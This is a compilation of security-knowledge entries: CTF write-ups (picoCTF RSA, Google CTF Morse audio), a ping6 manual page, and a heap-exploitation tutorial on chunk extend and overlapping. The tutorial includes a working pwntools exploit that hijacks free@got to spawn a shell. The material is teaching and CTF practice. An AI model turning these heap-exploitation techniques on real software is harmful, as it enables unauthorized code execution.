分析师还可以监视Windows API(例如DuplicateToken(Ex))的使用 ImpersonateLoggedOnUser ,并将 SetThreadToken 活动与其他可疑行为相关联,以减少可能由于用户和管理员的正常良性使用而导致的误报。
## 相关TIP
[[T1134-001-win-CVE-2020-1472]]
[[T1134-005-win-SID历史记录注入]]
## 参考推荐
MITRE-ATT&CK-T1134-001
<https://attack.mitre.org/techniques/T1134/001/>
Runas命令:能让域用户/普通User用户以管理员身份运行指定程序
<https://walterlv.blog.csdn.net/article/details/89838982>
|
sec-knowleage
|
# rsa-madlibs
Binary Exploitation, 250 points
## Description:
> We ran into some weird puzzles we think may mean something, can you help me solve one?
## Solution:
This challenge consists of a series of RSA-related question.
for example:
```
root@kali:/media/sf_CTFs/pico/rsa-madlibs# nc 2018shell3.picoctf.com 18148
0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f62333862653138617dL <type 'long'>
Hello, Welcome to RSA Madlibs
Keeping young children entertained, since, well, nev3r
Tell us how to fill in the blanks, or if it's even possible to do so
Everything, input and output, is decimal, not hex
#### NEW MADLIB ####
q : 93187
p : 94603
##### WE'RE GONNA NEED THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):
```
For each question, we are required to answer if it is "POSSIBLE and FEASIBLE", and if so, provide the answer.
There are many sites which contains the relevant RSA math formulates, e.g. [Wikipedia](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) and [dCode](https://www.dcode.fr/rsa-cipher).
The following script solves the challenge:
```python
from pwn import *
import gmpy2
PARAM_REGEX = re.compile("^(\w+)\s*:\s*(\d+)\s*$")
def get_parameters(r):
parameters = {}
r.recvuntil("#### NEW MADLIB ####\n")
lines = r.recvuntil("##### WE'RE GONNA NEED THE FOLLOWING ####\n")
for line in lines.split("\n"):
match = PARAM_REGEX.match(line)
if match:
parameter, value = match.groups()
parameters[parameter] = int(value)
requsted = r.recvline()
log.info("Requesting '{}' using {}".format(requsted.strip(), parameters.keys()))
return parameters
def send_answer(r, answer):
r.recvuntil("(Y/N):")
if answer is None:
r.sendline("n")
return
r.sendline("y")
r.recvuntil(":")
r.sendline(str(answer))
class MadLibsFunc:
def __init__(self):
self.registry = []
def __call__(self, m):
self.registry.append(m)
return m
mad_libs_func = MadLibsFunc()
r = remote("2018shell3.picoctf.com", 18148)
@mad_libs_func
def phase1():
params = get_parameters(r)
res = params["p"] * params["q"]
send_answer(r, res)
return res
@mad_libs_func
def phase2():
params = get_parameters(r)
res = params["n"] // params["p"]
send_answer(r, res)
return res
@mad_libs_func
def phase3():
params = get_parameters(r)
res = None
send_answer(r, res)
return res
@mad_libs_func
def phase4():
params = get_parameters(r)
res = (params["p"] - 1) * (params["q"] - 1)
send_answer(r, res)
return res
@mad_libs_func
def phase5():
params = get_parameters(r)
res = pow(params["plaintext"], params["e"], params["n"])
send_answer(r, res)
return res
@mad_libs_func
def phase6():
params = get_parameters(r)
res = None
send_answer(r, res)
return res
@mad_libs_func
def phase7():
params = get_parameters(r)
n = params["p"] * params["q"]
ph = (params["p"] - 1) * (params["q"] - 1)
d = gmpy2.invert(params["e"], ph)
res = d
send_answer(r, res)
return res
@mad_libs_func
def phase8():
params = get_parameters(r)
q = params["n"] // params["p"]
ph = (params["p"] - 1) * (q - 1)
d = gmpy2.invert(params["e"], ph)
plaintext = pow(params["ciphertext"], d, params["n"])
res = plaintext
send_answer(r, res)
return res
results = []
for func in mad_libs_func.registry:
results.append(func())
print r.recvall()
plaintext = results[-1]
log.success(unhex(format(plaintext, 'x')))
```
Output:
```console
root@kali:/media/sf_CTFs/pico/rsa-madlibs# python solve.py
[+] Opening connection to 2018shell3.picoctf.com on port 18148: Done
[*] Requesting 'n' using ['q', 'p']
[*] Requesting 'q' using ['p', 'n']
[*] Requesting 'q' using ['e', 'n']
[*] Requesting 'totient(n)' using ['q', 'p']
[*] Requesting 'ciphertext' using ['plaintext', 'e', 'n']
[*] Requesting 'plaintext' using ['ciphertext', 'e', 'n']
[*] Requesting 'd' using ['q', 'p', 'e']
[*] Requesting 'plaintext' using ['p', 'ciphertext', 'e', 'n']
[+] Receiving all data: Done (145B)
[*] Closed connection to 2018shell3.picoctf.com port 18148
YAHHH! That one was a great madlib!!!
If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)
[+] picoCTF{d0_u_kn0w_th3_w@y_2_RS@_b38be18a}
```
The flag: picoCTF{d0_u_kn0w_th3_w@y_2_RS@_b38be18a}
|
sec-knowleage
|
ping6
===
测试主机之间网络的连通性(ipv6)
## 补充说明
**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境,选择支持 v6 的网站进行访问(ping)。
执行 ping6 指令会使用 ICMPv6 传输(OSI)协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。
### 语法
```bash
ping6 (选项) (地址) [网络接口名称]
```
### 选项
```bash
-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询;
-b [bufsiz]: 设置套接字缓冲区大小;
-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止;
-h [hoplimit]: 设置 IPv6 跳数限制;
-I [interface]: 具有给定接口地址的源数据包;
-i [wait]: 在发送每个数据包之间等待几秒钟,默认是 1 秒;
-p [policy]: policy 指定要用于探测的 IPsec 策略;
```
### 地址
目的主机:指定发送 ICMPv6 报文的目的主机。
### 实例
```bash
$ ping6 -c4 ipw.cn
PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1
16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms
16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms
16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms
16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms
--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms
```
### 服务器 IPv6 Ping 失败可能原因
1. 服务器未开启 IPv6。
2. 服务器已开启 IPv6,但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问,
|
sec-knowleage
|
# Chunk Extend and Overlapping
## 介绍
chunk extend是堆漏洞的一种常见利用手法,通过extend可以实现chunk overlapping的效果。这种利用方法需要以下的时机和条件:
* 程序中存在基于堆的漏洞
* 漏洞可以控制 chunk header 中的数据
## 原理
chunk extend技术能够产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏。
在ptmalloc中,获取 chunk 块大小的操作如下
```
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
```
一种是直接获取 chunk 的大小,不忽略掩码部分,另外一种是忽略掩码部分。
在 ptmalloc 中,获取下一 chunk 块地址的操作如下
```
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
```
即使用当前块指针加上当前块大小。
在 ptmalloc 中,获取前一个 chunk 信息的操作如下
```
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
```
即通过malloc_chunk->prev_size获取前一块大小,然后使用本 chunk 地址减去所得大小。
在 ptmalloc,判断当前 chunk 是否是use状态的操作如下:
```
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
```
即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。
更多的操作详见 `堆相关数据结构` 一节。
通过上面几个宏可以看出,ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位。简而言之,chunk extend就是通过控制size和pre_size域来实现跨越块操作从而导致overlapping的。
与chunk extend类似的还有一种称为chunk shrink的操作。这里只介绍chunk extend的利用。
## 基本示例1:对inuse的fastbin进行extend
简单来说,该利用的效果是通过更改第一个块的大小来控制第二个块的内容。
**注意,我们的示例都是在64位的程序。如果想在32位下进行测试,可以把8字节偏移改为4字节**。
```
int main(void)
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
```
当两个malloc语句执行之后,堆的内存分布如下
```
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk
```
之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为0x40。在题目中这一步可以由堆溢出得到。
```
0x602000: 0x0000000000000000 0x0000000000000041 <=== 篡改大小
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
```
执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了。
```
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
```
之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制chunk2中的内容,我们也把这种状态称为 overlapping chunk。
```
call 0x400450 <malloc@plt>
mov QWORD PTR [rbp-0x8], rax
rax = 0x602010
```
## 基本示例2:对inuse的smallbin进行extend
通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于unsorted bin链表中。
以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是0x70)
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1;
free(ptr);
ptr1=malloc(0xa0);
}
```
在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和top chunk合并。所以我们需要额外分配一个chunk,把释放的块与top chunk隔开。
```
0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
```
释放后,chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin
```
0x602000: 0x0000000000000000 0x00000000000000b1 <=== 被放入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== 注意此处标记为空
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
```
```
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE)
```
再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时我们就可以控制 chunk2 中的内容
```
0x4005b0 <main+74> call 0x400450 <malloc@plt>
→ 0x4005b5 <main+79> mov QWORD PTR [rbp-0x8], rax
rax : 0x0000000000602010
```
## 基本示例3:对free的smallbin进行extend
示例3是在示例2的基础上进行的,这次我们先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1 的size域。
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}
```
两次 malloc 之后的结果如下
```
0x602000: 0x0000000000000000 0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
```
我们首先释放chunk1使它进入unsorted bin中
```
unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
0x602000: 0x0000000000000000 0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk
```
然后篡改chunk1的size域
```
0x602000: 0x0000000000000000 0x00000000000000b1 <=== size域被篡改
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
```
此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了chunk2 的内容。
## Chunk Extend/Shrink 可以做什么
一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制chunk中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。
此外通过extend可以实现chunk overlapping,通过overlapping可以控制chunk的fd/bk指针从而可以实现 fastbin attack 等利用。
## 基本示例4:通过extend后向overlapping
这里展示通过extend进行后向overlapping,这也是在CTF中最常出现的情况,通过overlapping可以实现其它的一些利用。
```
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}
```
在malloc(0x50)对extend区域重新占位后,其中0x10的fastbin块依然可以正常的分配和释放,此时已经构成overlapping,通过对overlapping的进行操作可以实现fastbin attack。
## 基本示例5:通过extend前向overlapping
这里展示通过修改pre_inuse域和pre_size域实现合并前面的块
```
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}
```
前向extend利用了smallbin的unlink机制,通过修改pre_size域可以跨越多个chunk进行合并实现overlapping。
## HITCON Trainging lab13
[题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13)
### 基本信息
```shell
➜ hitcontraning_lab13 git:(master) file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
➜ hitcontraning_lab13 git:(master) checksec heapcreator
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。
### 基本功能
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下
1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会**存在 off by one 的漏洞**。
3. 展示堆,输出指定索引堆的大小以及内容。
4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。
### 利用
基本利用思路如下
1. 利用off by one 漏洞覆盖下一个chunk 的 size 字段,从而构造伪造的 chunk 大小。
2. 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
更加具体的还是直接看脚本吧。
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)
def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
free_got = 0x602018
create(0x18, "dada") # 0
create(0x10, "ddaa") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
r.interactive()
```
## 2015 hacklu bookstore
[题目链接](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2015_hacklu_bookstore)
### 基本信息
```shell
➜ 2015_hacklu_bookstore git:(master) file books
books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, stripped
➜ 2015_hacklu_bookstore git:(master) checksec books
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/2015_hacklu_bookstore/books'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
可以看出该程序是动态链接的 64 位程序,主要开启了 Canary 与 NX 保护。
### 基本功能
该程序的主要功能是订书,具体如下
- 最多可以订购两本书。
- 根据编号来选择订购第几本书,可以为每本书添加对应的名字。然而在添加名字处出现了任意长度堆溢出的漏洞。
- 根据编号来删除 order,但是这里只是单纯地 free 掉,并没有置为 NULL,因此会出现 use after free 的漏洞。
- 提交订单,将两本书的名字合在一起。这里由于上面堆溢出的问题,这里也会出现堆溢出的漏洞。
- 此外,在程序退出之前存在一个**格式化字符串漏洞**。
这里虽然程序的漏洞能力很强,但是所有进行 malloc 的大小都是完全固定的,我们只能借助这些分配的 chunk 来进行操作。
### 利用思路
程序中主要的漏洞在于堆溢出和格式化字符串漏洞,但是如果想要利用格式化字符串漏洞,必然需要溢出对应的dest 数组。具体思路如下
1. 利用堆溢出进行 chunk extend,使得在 submit 中 `malloc(0x140uLL)` 时,恰好返回第二个订单处的位置。在 submit 之前,布置好堆内存布局,使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。
2. 通过构造 dest 为指定的格式化字符串:一方面泄漏 __libc_start_main_ret 的地址,**一方面控制程序重新返回执行**。这时,便可以知道 libc 基地址,system 等地址。需要注意的是由于一旦 submit 之后,程序就会直接直接退出,所以我们比较好的思路就是修改 fini_array 中的变量,以便于达到程序执行完毕后,**重新返回我们期待的位置**。这里我们会使用一个trick,程序每次读取选择的时候会读取 128 大小,在栈上。而程序最后在输出 dest 的时候,之前所读取的那部分选择必然是在栈上的,所以我们如果我们在栈上预先布置好一些控制流指针,那就可以来控制程序的执行流程。
3. 再次利用格式化字符串漏洞,覆盖 free@got 为 system 地址,从而达到任意命令执行的目的。
这里,各个参数的偏移是
- Fini_array0 : 5+8=13
- __libc_start_main_ret : 5+0x1a=31。
```
00:0000│ rsp 0x7ffe6a7f3ec8 —▸ 0x400c93 ◂— mov eax, 0
01:0008│ 0x7ffe6a7f3ed0 ◂— 0x100000000
02:0010│ 0x7ffe6a7f3ed8 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
03:0018│ 0x7ffe6a7f3ee0 —▸ 0x400d38 ◂— pop rcx
04:0020│ 0x7ffe6a7f3ee8 —▸ 0x9f2010 ◂— 0x6666666666667325 ('%sffffff')
05:0028│ 0x7ffe6a7f3ef0 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
06:0030│ 0x7ffe6a7f3ef8 —▸ 0x9f2130 ◂— 0x6564724f203a3220 (' 2: Orde')
07:0038│ 0x7ffe6a7f3f00 ◂— 0xa35 /* '5\n' */
08:0040│ 0x7ffe6a7f3f08 ◂— 0x0
... ↓
0b:0058│ 0x7ffe6a7f3f20 ◂— 0xff00000000000000
0c:0060│ 0x7ffe6a7f3f28 ◂— 0x0
... ↓
0f:0078│ 0x7ffe6a7f3f40 ◂— 0x5f5f00656d697474 /* 'ttime' */
10:0080│ 0x7ffe6a7f3f48 ◂— 0x7465675f6f736476 ('vdso_get')
11:0088│ 0x7ffe6a7f3f50 ◂— 0x1
12:0090│ 0x7ffe6a7f3f58 —▸ 0x400cfd ◂— add rbx, 1
13:0098│ 0x7ffe6a7f3f60 ◂— 0x0
... ↓
15:00a8│ 0x7ffe6a7f3f70 —▸ 0x400cb0 ◂— push r15
16:00b0│ 0x7ffe6a7f3f78 —▸ 0x400780 ◂— xor ebp, ebp
17:00b8│ 0x7ffe6a7f3f80 —▸ 0x7ffe6a7f4070 ◂— 0x1
18:00c0│ 0x7ffe6a7f3f88 ◂— 0xd8d379f22453ff00
19:00c8│ rbp 0x7ffe6a7f3f90 —▸ 0x400cb0 ◂— push r15
1a:00d0│ 0x7ffe6a7f3f98 —▸ 0x7f9db2113830 (__libc_start_main+240) ◂— mov edi, eax
```
**!!!待补充!!!**
## 题目
- [2016 Nuit du Hack CTF Quals : night deamonic heap](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2016_NuitduHack_nightdeamonicheap)
|
sec-knowleage
|
# Episode 5: Challenge 3
## Description
> Look back at all the episodes and piece together a secret message.
>
> Hint: This code isn't data but it could have prevented Aurora. Introductions are important.
## Solution
According to the description, there's a secret message hiding in the video introductions. And indeed, at the end of each introduction, we can hear some suspicious beeps.
Let's extract them with the following script:
```bash
#!/bin/bash
[ $# -ne 4 ] && { echo "Usage: $0 youtube_id start_point duration output_file"; exit 1; }
id=$1
start=$2
duration=$3
out=$4.wav
echo "Extracting $duration seconds of audio from $id, starting from $start"
url=$(youtube-dl --youtube-skip-dash-manifest -g "https://www.youtube.com/watch?v=$id" | tail -n 1)
ffmpeg -ss $start -i $url -t $duration -vn -acodec pcm_s16le -ar 44100 -ac 1 -y $out > /dev/null 2>&1
[ $? -ne 0 ] && { echo "Error extracting audio!"; exit 1; }
echo "Saved to $out"
```
We run the script on each episode, providing the exact start time and duration of the beeps:
```console
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh przDcQe6n5o 2:52 0:04 ep000
Extracting 0:04 seconds of audio from przDcQe6n5o, starting from 2:52
Saved to ep000.wav
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh N7N4EC20-cM 2:18 0:04 ep001
Extracting 0:04 seconds of audio from N7N4EC20-cM, starting from 2:18
Saved to ep001.wav
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh QZ0cpBocl3c 1:31 0:04 ep002
Extracting 0:04 seconds of audio from QZ0cpBocl3c, starting from 1:31
Saved to ep002.wav
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh TusQWn2TQxQ 2:14 0:04 ep003
Extracting 0:04 seconds of audio from TusQWn2TQxQ, starting from 2:14
Saved to ep003.wav
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh IoXiXlCNoXg 3:21 0:04 ep004
Extracting 0:04 seconds of audio from IoXiXlCNoXg, starting from 3:21
Saved to ep004.wav
user@user-VirtualBox:/media/sf_CTFs/h4ck1ng.google/EP005/Challenge_03/audio$ ./extract.sh My_13FXODdU 2:23 0:05 ep005
Extracting 0:05 seconds of audio from My_13FXODdU, starting from 2:23
Saved to ep005.wav
```
Now, let's check the spectrogram for one of the outputs:
```console
┌──(user@kali)-[/media/…/h4ck1ng.google/EP005/Challenge_03/audio]
└─$ sox ep000.wav -n spectrogram -o ep000.png
```
We get:

This is clearly morse code!
We repeat the process for the rest of the images and get:
```
ep000: --. .-.-.- -.-.
ep001: --- -..-. ....
ep002: --- -..-. ....
ep003: ... .- ..-. . -
ep004: -.-- -..-. ....
ep005: -.. ...- - .-- .-
```
It looks like chapter 1 and chapter 2 have the same sequence for some reason. Let's translate what we got:
```javascript
> const chef = require("/home/user/utils/CyberChef/");
undefined
> chef.fromMorseCode("--. .-.-.- -.-.")
G.C
> chef.fromMorseCode("--- -..-. ....")
O/H
> chef.fromMorseCode("--- -..-. ....")
O/H
> chef.fromMorseCode("... .- ..-. . -")
SAFET
> chef.fromMorseCode("-.-- -..-. ....")
Y/H
> chef.fromMorseCode("-.. ...- - .-- .-")
DVTWA
```
There must be a mistake in chapter 2. Guessing around a bit, we can arrive to `G.CO/HACKTOSAFETY/HDVTWA`, based on the series motto which is "Back to safety"(?). When visiting that url, we get redirect to `https://h4ck1ng.google/solve/1_c4n_h34r_c134r1y_n0w_th3_5h1p_15_90n3`.
|
sec-knowleage
|
#!/usr/bin/env python3
import asyncio
import json
import os
import signal
async def main():
futures = []
if 'SALT_MINION_CONFIG' in os.environ:
with open('/etc/salt/minion.d/minion.conf', 'w') as minion_file:
json.dump(json.loads(os.environ['SALT_MINION_CONFIG']), minion_file)
futures.append(await asyncio.create_subprocess_exec('salt-minion'))
elif 'SALT_PROXY_ID' in os.environ or 'SALT_PROXY_CONFIG' in os.environ:
if 'SALT_PROXY_CONFIG' in os.environ:
with open('/etc/salt/proxy.d/proxy.conf', 'w') as proxy_file:
json.dump(json.loads(os.environ['SALT_PROXY_CONFIG']), proxy_file)
if 'SALT_PROXY_ID' in os.environ:
futures.append(await asyncio.create_subprocess_exec('salt-proxy',
f'--proxyid={os.environ["SALT_PROXY_ID"]}'))
else:
